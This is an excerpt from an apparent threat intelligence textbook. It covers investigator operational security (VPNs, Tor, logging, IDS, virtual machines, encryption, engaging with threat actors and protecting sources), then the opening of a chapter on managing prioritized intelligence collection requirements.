			Infrastructure OPSEC refers to any system or network that is required to conduct threat intelligence gathering activities. Infrastructure and network OPSEC are the methods and concepts to keep your persona and identity separate when performing investigations.

			Leveraging infrastructure and networks as part of investigations should include adequate security protection and protocols to ensure the investigator or researcher's identity is kept separate and concealed, specifically when they're working on active engagement and communicating with threat actors. The next section focuses on OPSEC related to conducting active investigations involving threat actor infrastructure or communication.

			VPN considerations

			A VPN should be leveraged when you're conducting active investigations involving threat actor infrastructure or communication. VPNs provide a secure, encrypted tunnel that can mask a true source IP when you're interfacing with investigatory sources. We recommend staying away from free and publicly available VPN services. Using these comes with too many risks. For example, you don't know what the logging policies are for the free service or you don't know whether the service has been implemented appropriately to protect your activities. While it is possible to leverage paid VPN services such as NordVPN (https://nordvpn.com), ExpressVPN (https://expressvpn.com), or one of the many other private VPN providers, it's also an option to roll out a VPN on a virtual private server (VPS) such as DigitalOcean or Amazon AWS. VPNs are ultimately beneficial in that they create an encrypted communication channel between the researcher or investigator's machine and the VPN server. Leveraging your own VPS for a VPN server is a wise decision since you can control the logs of the VPN server, ensuring there's less likelihood of third-party inspection.

			Custom deploying a VPN can easily be done with public scripts and tools, such as Algo VPN (https://github.com/trailofbits/algo), tfvpn (https://osint.fans/tfvpn-for-osint-investigations), or Streisand (https://github.com/StreisandEffect/streisand). Using a script or tool to roll out a VPN will often make deploying your VPNs on VPS infrastructure easy, enabling investigators to easily deploy a VPN solution anywhere repeatedly. Additionally, your collection operation can benefit from associating a single persona per VPN and even leveraging multiple cloud providers in different regions of the world to assist with the persona's geographic identity. 

			Network and anonymity network considerations

			A network that is used to conduct OSINT investigations should be segregated and separated from any other personal or corporate network. That network can be wireless or wired, depending on the circumstances of the investigation. It's important to remember that the times when the investigator uses the technology can be used to build a profile of the investigator. As an example, on forums, chat channels, or other non-traditional sources, it may be worthwhile to vary login times and enable invisible mode on the forum or service you are interfacing with.

			The Onion Router, more commonly referred to as Tor (http://www.torproject.org), is a free, open source, anonymous communication platform. Tor intends to mask and anonymize a user's location, source IP, and usage from anyone conducting traffic analysis or network inspection or surveillance. Tor makes use of the onion routing concept, which encapsulates messages in layers of encryption like that of an onion. Ultimately, using Tor makes it more difficult to track the source of a connection. Tor can easily be accessed via the Onion browser, which can be downloaded from Tor's website. Tor is a useful addition to any investigator or researcher who wishes to interface with non-traditional web sources in an anonymous, albeit slow, fashion.

			Storage considerations

			Storage is an important consideration when you're performing threat intelligence and related OPSEC. Storage that's leveraged as part of CTI investigations should be segregated in nature, away from other data. 

			There are several ways to determine how investigative data should be stored. Researchers and analysts should determine whether local storage or cloud storage should be leveraged. The nature of the files should dictate whether the segregated storage can be reached via the internet, such as Dropbox versus a network-attached storage (NAS) device. 

			Important Note 

			Due to the sensitivity of the data, TLP:RED investigative data should ideally not be stored in the cloud as leveraging a cloud storage provider opens up risks of external or mistaken access.

			Logging considerations

			Robust network and endpoint logging solutions should be leveraged to ensure you can easily and accurately recall technical logs from the investigation. Additionally, retaining logs allows for timelines and events to be recreated, should an incident occur. There are many solutions you can use, but it's recommended that you use a basic open source SIEM such as AlienVault's OSSIM (https://cybersecurity.att.com/products/ossim) as a great first solution. Event logs from endpoints should be retained in addition to any virtual or physical networking devices that are used in the infrastructure, where possible and applicable. The following are some example logs you should consider collecting in a SIEM:

			
					Firewalls

					Routers and switches

					Wireless access points

					Windows event logs

					Service logs

					Endpoint or server system logs

					Endpoint or server security logs

					Directory service logs

			

			Additionally, you should consider using an open source intrusion detection system (IDS) solution in addition to a SIEM. Whether a researcher uses IDS to monitor networks or hosts, implanting an open source solution is a great way to ensure proper OPSEC. Fortunately, there are several great options for open source host-based and network-based IDSs.

			Network-based IDS and monitoring considerations

			Network-based IDSs (NIDSs) and other network monitoring systems operate by examining traffic on a network to identify malicious activity. The sole function of a NIDS is to monitor the network it's deployed on for anomalous traffic. Why would an investigator use a NIDS in their investigative environment to maintain OPSEC? A NIDS, from an investigator's perspective, allows networking events to be inspected either purposefully as part of research, such as inspecting the command-and-control command structure, or reactively as part of cleaning up, such as from an OPSEC failure. 

			Network monitoring solutions and NIDSs are commonly deployed on sensors that live physically or virtually on the network. You should consider deploying a NIDS on any critical investigatory assets. Several open source NIDS projects are actively supported, developed, and used.

			The three most widely supported and highly configurable NIDS and monitoring solutions are as follows:

			
					Zeek (http://www.zeek.org/)

					Snort (http://www.snort.org/)

					Suricata (http://www.suricata.io)

			

			All of these three options are completely acceptable, with each serving specific use cases and options. NIDSs are usually kept up to date with rules that are pushed from vendors or open source shared with trusted communities. If you're leveraging a NIDS within an investigatory environment, ensure that it's kept updated with the latest rules from approved sources.

			Host-based IDS considerations

			Host-based IDSs (HIDSs) work by inspecting and monitoring activity that's happening on an endpoint or host. Analysts may find deploying a HIDS as a beneficial way to be alerted if any anomalous nefarious activity has been identified. A HIDS often includes file integrity monitoring, operating system registry monitoring, log analysis, and more. A HIDS should be considered on server infrastructure in any investigatory environment and other important assets that are performing investigations or research.

			Two good HIDS solutions are as follows:

			
					OSSEC (http://www.ossec.net)

					Samhain Labs (https://la-samhna.de)

			

			As with NIDSs, leveraging HIDS software is a good decision and there is no wrong decision when you're deploying a HIDS for OPSEC protection.

			While choosing a specific NIDS or HIDS often seems daunting, there's no bad choice, so long as the consideration for both technologies exists. Choosing a combination of host-based and network-based IDS deployment within your investigative environment is a key operational consideration that should be leveraged whenever possible.

			Hardware

			Fundamentally, hardware OPSEC considerations are quite easy but often overlooked. Hardware that's leveraged as part of OPSEC investigations should be capable of supporting several endpoint agent products, in addition to several concurrently running virtual machines and various other software suites. There are some fundamental considerations you must take into account when you're thinking about hardware OPSEC.

			The hardware and equipment should all share various characteristics. Let's take a look at them.

			Full-disk encryption

			Hardware that's used for investigations should have full-disk encryption enabled whenever possible. Full-disk encryption helps prevent investigative data from falling into the wrong hands, should the workstation go missing. Full-disk encryption is a cryptographic mechanism that's used to apply encryption to the filesystem, programs, and operating system using a cryptographic key.

			Where hardware allows, many modern-day workstations and operating systems support full-disk encryption out of the box, such as Windows' BitLocker or Apple's FileVault.

			Hardware isolation

			Any hardware that's leveraged as part of any investigation should be completely isolated from personal or corporate equipment. The hardware should be logically isolated based on the task or purpose. At no time should corporate or personal hardware be leveraged for investigative purposes. 

			Hardware authentication

			A popular and secondary method of authentication is authentication through hardware. These hardware authentication mechanisms are typically used as a form of secondary authentication when you're logging into a machine to conduct investigations. One of the easier authentication devices is YubiKey (https://www.yubico.com/products/yubikey-5-overview/), which is a hardware device that's used for easy and accessible two-factor authentication. Hardware secondary factors of authentication are recommended for any machine conducting investigations that requires OPSEC.

			Software and operating system

			Akin to a samurai's sword and core to any computer that's used to perform investigations is software and operating system OPSEC. Operating systems are the core of the analyst's work, so specific considerations should be taken when you're approaching operating system OPSEC. The software that is used to practice safe OPSEC on an operating system is equally important, especially when you're combining the two, as in the case of virtual machines.

			Virtual machines and live operating systems

			There are several ways to perform actual investigations, including leveraging virtual machines and live operating systems. Leveraging either type of operating system setup is effective, but there are often acute benefits to using virtual machines versus live operating systems.

			Virtual machines and their corresponding operating systems are some of the most effective means to conduct investigations. Leveraging a tool such as VirtualBox (http://www.virtualbox.com/) can help you easily and freely establish a series of varied virtual operating systems that you can work from. The following is a screenshot of VirtualBox:
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			Figure 5.1 – VirtualBox interface

			Using virtual machines enables a researcher to take snapshots, which you can take at different points throughout the investigative process, making rollbacks easy.

			For example, if an investigator is analyzing a malware sample and they want a clean investigative environment, the analyst could roll back to a snapshot that's been taken of a clean operating system, facilitating a controlled and continued environment for malware analysis.

			While an investigator can build an operating system within VirtualBox or related virtualization software, several virtual machine images can be downloaded to conduct investigations. These operating systems have different primary purposes, but their use for threat intelligence investigations is valuable.

			Kali Linux (https://www.kali.org/get-kali/#kali-virtual-machines) is an operating system and platform that's used primarily to conduct penetration tests and security audits. While many of the tools included in Kali are used for offensive purposes, investigators or researchers may find Kali useful due to the many applications that are already installed to enable OPSEC:
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			Figure 5.2 – Kali 

			An additional option for those investigators seeking a specific virtual environment or image is SIFT Workstation (https://www.sans.org/tools/sift-workstation), an operating system and virtual machine that intends to serve as a platform for conducting forensic analysis or incident response. While the primary focus of SIFT is on forensics and incident response, this platform is still a valuable addition to any investigator. One notable tool that investigators will find valuable is the F-Response tool (https://www.f-response.com), which provides a litany of functionality, including facilitating automated collections. Additionally, The Sleuth Kit (https://www.sleuthkit.org) is a tool that's included in SIFT that allows disk images to be analyzed for if you need to analyze the virtual environment:
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			Figure 5.3 – SIFT Workstation 

			Another great option for an operating environment during investigations is a toolkit and operating environment called REMnux (https://www.remnux.com), an operating system and platform that allows you to analyze malicious software or files. REMnux acts as a great resource and platform to conduct investigations as many useful tools are already pre-installed and pre-compiled. Some of the specific tools that investigators could enable are as follows:

			
					Automater (http://tekdefense.com/automater): Automater is an OSINT collection tool that takes a URL, IP, or file hash and queries numerous other locations for information before returning the relevant information. 

					Malwoverview (https://github.com/alexandreborges/malwoverview): According to their documentation, Malwoverview.py is a first response tool for threat hunting, which performs an initial and quick triage of malware samples, URLs, IP addresses, domains, malware families, IOCs, and hashes.

					Viper (https://github.com/viper-framework/viper): According to their documentation, Viper is a binary analysis and management framework. Its fundamental objective is to provide a solution to easily organize your collection of malware and exploit samples, as well as the collection of scripts you created or found over time, to facilitate your daily research.

					ioc_parser (https://github.com/buffer/ioc_parser): According to their documentation, IOC Parser is a tool for extracting indicators of compromise from security reports in PDF format:
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			Figure 5.4 – REMnux distribution 

			Additionally, a Docker image is available, which is a great option with several pre-installed applications. The Cyware Threat Response Docker image (https://github.com/cyware-labs/Threat-Response-Docker) is a fantastic resource for pre-installed CTI tools. Some notable examples include Icewater, which provides a collection of over 12,500 YARA rules, Harpoon, which is used to interface with several enrichment sources, and FOCA, a tool for analyzing document metadata and unearthing hidden data from it.

			Password protection and multifactor authentication

			Hardware and equipment that's used as part of investigations and requires OSPEC should have unique and strong passwords. Passwords that are used for investigations should not be shared with any other service, software, or hardware. Unique passwords that are leveraged as part of investigative methodology should be generated per service as it's operationally safe to assume that these passwords will be known by service operators, and likely not stored properly, making them susceptible to leakage.

			When password management fatigue begins to set in, it's best to leverage a password manager. An open source password manager such as KeePass (https://keepass.info/), a free tool such as LastPass (http://www.lastpass.com/), or a paid alternative such as 1Password (http://www.1password.com/) are all good solutions. These services also make password generation easy and often automated, which makes the chore of creating unique passwords quick and easy. 

			The default passwords for the tools that are used as part of the investigative process should be changed. This includes default passwords for virtual machine images and builds, such as kali:kali for the Kali Linux penetration testing platform.

			Multifactor authentication should be considered for accounts that are used during investigations, but the way that second-factor authentication is performed should be examined closely. Sometimes, there will be opportunities to inadvertently introduce OPSEC failures when you're implementing a second mechanism for authentication. For example, the investigator should avoid using their phone number as a second factor for authentication on investigative accounts on an underground forum. 

			Workstation considerations

			When you're performing investigations and for OPSEC, virtual machines with preferred operating systems should be leveraged, when possible, to install software, visit web pages, or conduct investigations. Running a virtual machine will effectively allow a user to create an isolated environment strictly for investigation and analysis. This separation ensures that a clear delineation exists between the research activity and the identity of the researcher or analyst. Additionally, antivirus software of some sort should be leveraged on the workstation. While there is common debate over which engine is the best, having any antivirus deployed on a workstation is better than none. 

			As far as workstation and researcher operating systems are concerned, a local endpoint firewall and security agent should be leveraged, such as iptables on Linux or Microsoft Defender. This will ensure that inadvertent or deliberate malicious acts are minimized on the workstation.

			User account creation on workstations should always be unrelated to any personal activity or pre-existing accounts. On workstations that are used to conduct OPSEC activity, user account personal information should be entered aberrantly, erroneously, and randomly. As an example, a hostname on an investigative machine should be randomized, with no personal ties. If the analyst is a fan of soccer, for example, they should not use soccer terms in their username or password.

			Email options

			Often, when you're communicating during an investigation, the need arises to email intelligence or sensitive data to other researchers for collaboration while ensuring OPSEC is upheld. To accomplish this, most investigators leverage OpenPGP, which is one of the most widely used email encryption standards. OpenPGP was defined by the OpenPGP Working Group of the Internet Engineering Task Force (IETF) and is based on a piece of software called PGP by Phil Zimmermann. OpenPGP is a key-based encryption method that encrypts and secures communication and file transfers using two cryptographic keys. A private PGP key can only decrypt emails from messages that have been signed with a corresponding public key.

			To use OpenPGP in a fast and convenient way, it's often easiest to use an email client that supports its use, such as Thunderbird (http://thunderbird.net). Thunderbird is an open source, cross-platform email client that supports a litany of tooling for sending and receiving encrypted and signed emails:
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			Figure 5.5 – Thunderbird interface 

			Out of the box, Thunderbird doesn't support OpenPGP natively. To fully leverage the power of OpenPGP on Thunderbird, the analyst should consider using Enigmail, which is an extension of Thunderbird that can be used to sign, encrypt, and decrypt emails using OpenPGP and other encryption standards:
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			Figure 5.6 – Enigmail extension in Thunderbird 

			You should assume that any information that's sent in transit without the aid or use of email-based encryption is being distributed openly. Now, let's look at some note-taking tools. 

			Important Note

			GNU Privacy Guard (GnuPG) is another widely used encryption standard that is functionally nearly identical to its counterpart – OpenPGP. When you're leveraging GnuPG, using an extension such as Enigmail is often the easiest and most efficient method.

			Note-taking

			The key to every investigation and keeping OPSEC in check is keeping good notes. Note-taking is different than adding observables and indicators to a TIP. Notes are often operational and contain key information related to the investigation. While there are many note-taking applications on the market, Evernote (http://evernote.com) and Microsoft OneNote (http://onenote.com) continue to be strong contenders during investigations due to their robust support and unique capabilities. Note that their note-taking abilities should not be used in the same virtual machine or with any of the same accounts the operation is being performed with. 

			Evernote is chosen by many investigators, given its ability to encrypt and password-protect individual Evernote notes and text:
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			Figure 5.7 – Evernote interface 

			It's extremely important to get into a regular cadence of note-taking during active investigations to ensure accuracy in your intelligence and to maintain solid recollection capabilities.

			Actor engagement

			When you're conducting an investigation using a litany of intelligence sources, the concept of threat actor engagement often arises. Why? Human intelligence (HUMINT) lead operations, which target specific actors, allow the investigator or researcher to collect tactical information and intelligence on actors, in addition to sourcing large amounts of data, all of which map to the intelligence collection requirements that are used by the organization.

			So, what is actor engagement? Actor engagement is the act of interacting with actors in a variety of ways. This could include negotiating a ransomware incident with an affiliate, interfacing with an actor on an underground forum, and anything in between. 

			At the end of the day, threat actors are humans on the other end of a connection with a keyboard at hand. However, if you're thinking about engaging with a threat actor, there are several things you should consider. 

			First and foremost, the most important consideration is legality concerns while engaging with nefarious actors. While it's likely, wherever you are, it's not inherently illegal to communicate with a nefarious actor, though receiving and/or retrieving files or services as part of communicating with a nefarious actor is most likely illegal. In some cases, communication should be closely inspected, especially if you're communicating with ransomware affiliates or operators.

			As an example, if an investigator is communicating with a ransomware affiliate, is that communication in violation of the US Department of the Treasury's Office of Foreign Assets Control (OFAC) regulations in the United States? In the United States, under the International Emergency Economic Powers Act, in addition to the Trading with the Enemy Act, people within the United States are prohibited from conducting transactions with individuals or entities on OFAC's Specially Designated Nationals and Blocked Persons List, possibly making this communication risky.

			If you're interacting with a threat actor to receive a file, tool, or service, several legal concerns could easily arise, so it's best to broach this topic gingerly and with caution. Keep in mind that outside of the several legal concerns surrounding threat actor communication, many organizations do not support actor engagement, given the thorny legal situation involved in this type of activity.

			While it's not illegal to communicate with a nefarious actor, an entirely separate question lies in its ethical concerns. Ethics, when broadly defined, is a system of ideas surrounding what is good or bad based on the values that are shared in a society. Unfortunately, what is ethical versus what is not is subjective, but ethically communicating or contributing to an actor's capabilities, regardless of your intention, is a cause for ethical consideration and concern. 

			Additionally, from an ethics perspective, it's important to remember that there are general as well as professional ethical lines that should be evaluated closely. These types of considerations revolve around privacy, intellectual property, and discrimination, to name a few.

			There are also approval concerns. When you're working for an organization in any capacity, merely communicating with a threat actor should be avoided at all costs without prior written consent from the organization. This is to protect both you, as the investigator or researcher, and the organization. Not adhering to this simple policy could open you and the company you work for up to legal peril at the least.

			Pragmatically speaking, approvals for communicating and interacting with nefarious threat actors from an organizational perspective are likely not going to happen often. A combination of public perception, legality concerns, ethical considerations, and technical concerns often prevents organizations from approving communication with threat actors. Furthermore, the country the threat actor resides in could raise additional concerns as any payment or exchange could violate sanctions. That being said, approval should always be sought first before you communicate with any threat actor.

			Source protection

			Should you attempt to source an online actor for direct engagement and information, think about the risks and concerns we've highlighted. Often, it's not uncommon for organizations to set up a source protection program that is intended to protect your identity and provide confidentiality regarding the origin of the data. Some people grasp this concept better when it's put in another scenario. Consider a journalist. They often publish vetted information that's been obtained by sources and have legal rights to protect the individuals who provide this information. In this scenario, the most famous source name ever was Deep Throat, the pseudonym that was given to the individual who provided information to the Washington Post during the Watergate scandal in 1972.

			Source protection is where you keep a register of the data source that is usually associated with direct actor engagement. The processes and methods that are associated with a source protection program are meant to protect the confidentiality of the source and provide a vehicle of security for engagement, collection, and communication while ensuring the source is always provided anonymity and protection. Let's look at a few recommendations for establishing a source protection program.

			Utilize a source register system. A source register system is either a document, spreadsheet, or application that details information about your source that can be utilized as a reference for data that's been collected from actor engagement. At a minimum, the following data should be identified in your source register:

			
					Source ID: If your source registry is kept in spreadsheet form, then create an auto-incrementing identification number for your source entries that can be used as a primary key or even as a unique identifier. This will be helpful, should you want to move toward security automation, wish to make source protection part of your larger intelligence ecosystem, and make an application around the process.

					Source pseudonym: The reference that was made to Deep Throat previously gives you an idea of this: invent a pseudonym for the source that can be internally referenced in your organization. Depending on the maturity of your organization, this nickname can have an internal naming convention that provides some understanding of the type of source. Like the way bears and pandas are used with APT groups, there is an implied implication of the regional source of the campaigns.

					Description: The person or team registering the source should characterize the nature of the source. As an example, this could involve identifying where the source was obtained from, and even information about the type of data the source is providing.

					Source handler: This is the internal team member that has established trust with the source and is responsible for direct actor engagement. All the questions about data that have been collected from this source should come back to the source handler for clarification or even for more scope and context.

					Source validator: Finally, this should be a member of the organization's internal team who is not directly in the source handler's team but can provide objective oversight into the source entry. This role includes validation, meaning that the source validator should be given the authority to know about the source identity and the engagement operations that the source was confirmed in. The source is normally assessed based on the credibility of the data and information that's provided. This person legitimizes the information that has been collected from the source. 

			

			The following table is an example of a source register entry that clarifies the source of the information without disclosing the identity of the actor: 
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			Now, as the organization begins using the data that's been collected directly from actor engagement, the source pseudonym can be utilized to reference the information that's been provided by the actor. As the relationships change with the sources of data and information, the organization must keep the source register system up to date to know where the source relationships exist.

			Use a "need to know" program. Need to know is not just about protecting your source but also about protecting your long-term online personas that are engaging with the actor, as well as your foothold within the vetted access community. If your organization is so mature that they have quantifiable metrics around data collection to fulfill intelligence requirements, then, unfortunately, I have seen some bad practices evolve directly out of this. Establishing a source that will provide data is an amazing achievement for any research practitioner. In organizations where quantifiable metrics are used for performance evaluation, I have seen scrupulous behaviors begin to evolve from security researchers. Under pressure to get information, I have seen researchers who were not the handlers for sources try to identify these sources to engage with their online personas in the hopes of getting data to meet a performance metric.

			This is bad practice and bad behavior. While establishing a source, it is understood that the handler will provide confidentiality regarding the relationship between the actor and the persona. Should an online persona engage with the source actor for information and disclose that they understood there was a relationship they had with another persona, the source actor may discontinue all relationships in the vetted access community and possibly even have the community oust you. This is just one example of how aggressive organizational behavior can have repercussions on operations. There are many more scenarios out there, but this one clearly illustrates the priority of keeping the information about sources directly aligned with those who need to know.

			Ensure you have secondary source validation. During your relationship with your source, secondary source validation is going to operate in one of two ways. Either you will be validating the information the source actor has provided to you with a secondary source, even if that means teams that are internal to the organization, or you will be taking data to your source actor to validate it because you believe the source actor to be credible enough for data validation or they can provide data for secondary source validation. Early in the relationship, you will likely be validating information that your source actor has provided until they have established trust and credibility. At this point, the latter may happen.

			Ensure that the data that's provided does not implicate the source. If the data that's been provided by the source actor is so specific that utilizing this information may potentially compromise your source actor, then put this information to bed and walk away from it. Do not burn your source actor for a corporate reason, such as the notoriety the corporation will receive from a public blog that utilizes the information. Not only will this potentially burn your source but, in some situations and some countries, disclosing the source's identity may even lead to personal impact and even physical harm.

			Assess the credibility of your source constantly. Whoever the source validator is for your source actor, they should have a routine plan that consistently validates the data and information that's provided by the source actor. Remember that we are dealing with an online actor and for whatever reason, all the information needs to be validated, so source admiralty should be applied and maintained for all sources. Should the admiralty score of the source deteriorate, then mechanisms should be put in place to evaluate the relationship or even terminate the source relationship altogether.

			Now that we've talked about source protection, let's talk about monitoring the OPSEC of your entire intelligence program.

			OPSEC monitoring

			OPSEC monitoring is the continuous process of evaluating intelligence collection methodologies and counterintelligence. It is necessary to monitor policies, procedures, and methods for effectiveness because an unevaluated OPSEC implementation can lead to a false and dangerous sense of security. OPSEC monitoring is not a program that should exist within your CTI program; rather, it should exist inside your information security organization with frequent stakeholder interaction between the two organizations.

			The OPSEC monitoring program that evaluates CTI organizations should measure the maintenance of the appropriate OPSEC procedures and how the corporate policies around OPSEC are utilized. These activities should include, but not be restricted to, the following:

			
					Using appropriate information security systems to prevent system compromise.

					Using technical OPSEC procedures to ensure non-attribution during collection operations.

					Using identity OPSEC procedures to ensure employees' identities are not at risk and that they are using the appropriate procedures for any online persona creation and engagement.

					Using need to know around source protection properly.

					Ensuring that employees continue to operate within the legal, ethical, and approved guidelines to perform any sort of actor engagement. 

					The information security organization should tabletop exercise the CTI program with security scenarios to help identify any potential risks and change policies and procedures to address concerns.

			

			With an appropriate OPSEC monitoring program in place for the CTI program, the information security organization can ensure that the CTI program does not compromise or expose any collection operations, protects them personally, and does not endanger the organization for cyber-attacks. Continually monitoring and adjusting the CTI OPSEC policies and procedures will reduce cyber risk and safeguard the program from attack. 

			Now that we have a monitoring program in place, as well as policies and procedures around an OPSEC program, let's talk about ensuring that your personnel are appropriately trained and measured.

			Personnel training and metrics

			There are two things you should implement a training program for and that is OPSEC compliance and institutionalizing an OPSEC culture to increase your intelligence collection capabilities. From a compliance perspective, everything we have laid out in this chapter is going to be hard to learn, so expect to make some mistakes during your implementation. Recurring training establishes the expectations of the staff and assists managers with enforcement. All OPSEC policies, processes, and procedures should be covered in the material and organizations should establish a cultural expectation that this is a requirement for work.

			After creating your CTI program, don't expect all your employees to have the talent or skill to establish a long-term identity in a vetted access community. Training will be needed and a vehicle to measure the employee's collection skill set will need to be implemented. Apply a metric to your employee's skill set that can be used as a measurable advancement and acts as a vehicle for managers to gauge the overall collection capability. An example of this could look like this:

			
					Tier One: The ability to perform passive data and information collection from the internet. 

					Tier Two: The ability to conduct low-level or one-off engagements in dark markets or underground forums.

					Tier Three: The ability to build and maintain long-term identities in the underground and gain access to vetted access communities. They must also be able to collect data and information from non-public channels.

					Tier Four: The ability to source and maintain an actor who supplies credible data and information. 

			

			Constantly training and measuring your employee's skill set will give you an idea of where they fall in the spectrum of capabilities. As they continue to grow, advance them to new tiers. 

			Summary

			This very well could be the most important chapter in this book. Without an effective OPSEC process to assess risk, procedures to protect identities and the technical aspects of the work, and organizational policies to set expectations and create an OPSEC culture, organizations can be lured into a false sense of security. During collection operations, breakdowns in OPSEC can lead to discovery by the threat actor, counter-operations being conducted by threat actors, personal and organizational targeting, and even physical harm. In this chapter, we talked about the OPSEC process and the available types, both identity-focused and technically focused. We also discussed actor engagement, source protection, monitoring, and training.

			In the next chapter, we will dive into technical threat intelligence collection, which focuses on the methodologies and techniques that are used to collect threat intelligence. Then, we will compare active versus passive collection and take a deep dive into the collection management process and the role of a collections manager.

		

	
		
			Chapter 6: Technical Threat Intelligence – Collection

			Intelligence collection is a term that is thrown around quite a lot across the cyber threat intelligence (CTI) industry, but unfortunately, it is not widely discussed or even analyzed as a discipline in the private sector. While governments and militaries may have invested a significant amount into mastering the discipline for nation-state activities or as part of military operations, there is still a large barrier to entry for individuals who wish to engage in this line of work in the private sector. Collection is a discipline that is often not invested in correctly by private sector organizations. Most private sector programs that have a concerted collection effort have usually been started by individuals who have had formal training from active military service or employment in a government agency. They have taken their insight into intelligence collection and provided the knowledge learned from their previous experience to assist in the development of a collection program. 

			The second phase of the intelligence life cycle, Collection, plays a foundational role in the creation of an organization's collection management function. More than merely the collection of data, threat intelligence collection is often an art mixed with a science, which we will explore more in this chapter. To analyze threat intelligence requires the ability to collect that threat intelligence and related data. While this seems simple, there is a diverse litany of sources to collect from, each with its unique benefits. While there are many ways to collect data, we are going to cover three main collection types in this chapter: passive, hybrid, and active collection.

			Additionally, we will dive into the methods, techniques, and technologies used for collecting threat intelligence from feeds, forums, marketplaces, and other non-traditional sources. This chapter also deep dives into sources, the collection management processes, and the role of a collection manager who oversees the entirety of the processes that are required to run a proper collections program.

			Specifically, in this chapter, we are going to cover the following:

			
					The collection management process

					The role of the collection manager

					Prioritized collection requirements

					The collection operations life cycle

					Surveying your collection needs

					Planning and administration

					The collection operation

					Collection types

					Data types

					The artifact and observable repositories 

					Intelligence collection metrics

			

			The collection management process

			Intelligence collection management is the process in which your organization manages the gathering of information and data, aligns it to your organization's intelligence requirements, and, depending on the maturity of the organization, validates or interprets the collected data. It's the holistic process of determining the prioritization of data collection based on your organization's needs, the planning of collection operations to ensure successful intelligence gathering, and the evaluation of collected information to either validate the data or the source of the information.

			Most organizations that implement a collection management process utilize the organization's Prioritized Intelligence Requirements (PIRs) and General Intelligence Requirements (GIRs) to drive the collection management program. If you remember in Chapter 3, Guidance and Policies, we introduced the concept of PIRs, which are intelligence requirements that are defined by the organization, to enable rapid decision making.

			The collection management process begins with these PIRs to establish the critical needs of the organization. But from this starting point, collection management and planning collection operations can become complex. Collection efforts include all of the following: 

			
					Surveying all of your collection capabilities 

					Reviewing the talent of your collection staff

					Operations planning to collect data

					Monitoring the execution of these plans

					Operational security

					Validating and/or interpreting the data collection

					Evaluating the source of data collection

					Producing reporting metrics on the effectiveness of the overall program

			

			After the review of the PIRs, the collection management process continues with the development of Prioritized Collection Requirements (PCRs) that are aligned to the organization's intelligence-gathering needs. This is usually done by an organization's collection manager.

			The role of the collection manager 

			The collection manager is responsible for completely managing the collection management process and executing the operations planning for the organization's intelligence-gathering efforts. Their first duty, before engaging in any type of collection operations planning, is to incorporate PIRs into collection management through the creation of PCRs that align directly with the organization's intelligence-gathering needs. This establishes the baseline collection needs for the organization. While we will deep dive into the creation of PCRs shortly, it goes without saying that the collection manager is also responsible for the recurring evaluation of the PCRs to ensure it meets all the organization's collection needs on a continual basis. Once this is done, then their job is to lead the organization through the collection operations life cycle, which we will discuss later in the chapter.

			During each phase of the collection operations life cycle, the collection manager has specific responsibilities to perform, which include the following:

			
					Determining the organization's current collection capability, as well as constructing and tasking collection plans to teams or individuals

					Rehearsing, planning, and administering collection operations with individuals in a collections team to ensure the individuals have reviewed the current intelligence holdings on the target of collection and have confidence in any contingencies that may need to be implemented during the collection operation

					Monitoring the execution of tasked collection operations to ensure that the organization's intelligence gathering is successful

					Evaluating the data collection and ratings, as well as reviewing the sources of information

					Creating quantitative and qualitative metrics that identify the effectiveness of the collection plan

			

			The roles and responsibilities of the collection manager ensure that the information that needs to be collected for the organization is established and appropriately prioritized and that everyone understands what the collection plan is and understands the quality of the data collected and the admiralty of the source. This individual ultimately understands the capabilities of the collection team and the organization's effectiveness in performing collection operations. As stated previously, this begins with the process of creating the PCRs for collection operations planning. 

			Prioritized collection requirements

			Closely related to the earlier-discussed Focused Collection Requirements (FCRs), in Chapter 3, Guidance and Policies, PCRs are collection requirements created by a collection management function that align to requirements that intelligence consumers need to be addressed. They are specifically aligned to an organization's prioritized and stated need for data defined in the intelligence requirements. FCRs and PCRs differ in the sense of the audience that consumes the collection data and the scope of that information. FCRs are typically meant to inform internal CTI key stakeholders, whereas PCRs are typically shared externally to the CTI function, such as with the information security or network engineering departments or even executives who may have specific requests for collection as a key stakeholder.

			From a collection management perspective, PCRs help guide and drive CTI analysts and researchers toward collection goals to serve their customers. Prioritization of collection requirements is one of the central efforts when creating a PCR. Those prioritizations should occur based on feedback from intelligence consumers and the CTI analysts themselves. Prioritization is unique for each collection effort during the execution of the collection plan and the actual collection operation. The amount of time spent collecting should be directly reflective of the priority of the collection requirement and the collection manager should consistently reevaluate the timeframes needed to collect data on a recurring basis.

			PCR reevaluation should occur on a defined, repeatable timeline, either at the end of every collection operation's life cycle or more often ranging from 30 days to 90 days if the collection operation is extended. These reevaluations should be done to dictate whether collection should continue for each defined PCR and for how long that direct monitoring or collection should occur. Most often, PCRs with the highest priority should be collected and monitored for longer due to the priority being higher. Those timeframes should lower correspondingly based on a lowering of the PCR's priority.

			The collection manager should try to map each PCR to a specific timeline for reevaluation. In the following table, you can see an example of PCR prioritization and the reevaluation timeframe we would suggest:
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			PCRs can be tracked in a litany of methods with some of the simplest solutions just being a living document of sorts that is created and maintained. As PCRs are reevaluated, the same should be done for the PCR document containing the relevant tracking information. An example PCR is included in the following table:
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			Like most of the data for which we have shown examples and suggested some form of tracking be created, each has nomenclature that warrants description and standardization within any organization. Let's walk through each of the fields we have suggested that you track for any PCR your organization creates: 

			
					Priority: The priority of the PCR should be derived from many pieces of data and information. Ideally, priority should be based on a combination of several factors, including the customer requesting the intelligence. For example, if the Request for Information (RFI) originates from the Chief Information Security Officer (CISO), the importance would be more elevated compared to a senior network engineer. Additionally, the priority can be derived based on the specific industry vertical focal points; for example, if the request is from a CTI analyst that works for a bank, the collection manager would likely prioritize intelligence collection based on common threats to the banking industry. 

			

			While no one size fits all organizations or use cases in relation to priority, the top considerations include the customer, desired output, timing interval for the request, and feasibility of actioning the request with the given collection systems at hand. Later in the chapter, when we discuss the collection operations life cycle, we will discuss priority in more depth as we discuss surveying the needs of your organization.

			
					Key: The key is a unique identifier that can be used with other systems for reference purposes, such as when tracking source interactions. The key used can be autoincrementing, such as a primary key, or even combined with unique identifiers that would allow an organization to understand what priority or type of collection is performed simply by looking at the key. An example of such an expanded key could be PCR-001-P-BIN-FIN-P1. While this is just an example, we have broken down the key in Figure 6.1:
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			Figure 6.1 – Example of an expanded key

			As you can see in the expanded key example, the key for the PCR can reflect additional information that can be garnered just from the visualization of the collection key. In this instance, the key tells us that we are performing a passive collection activity to hunt for binary files that target the financial sector and that this has the highest prioritization. While this is only an example of an expanded key, organizations should develop their own key creation process that meets their specific needs.

			
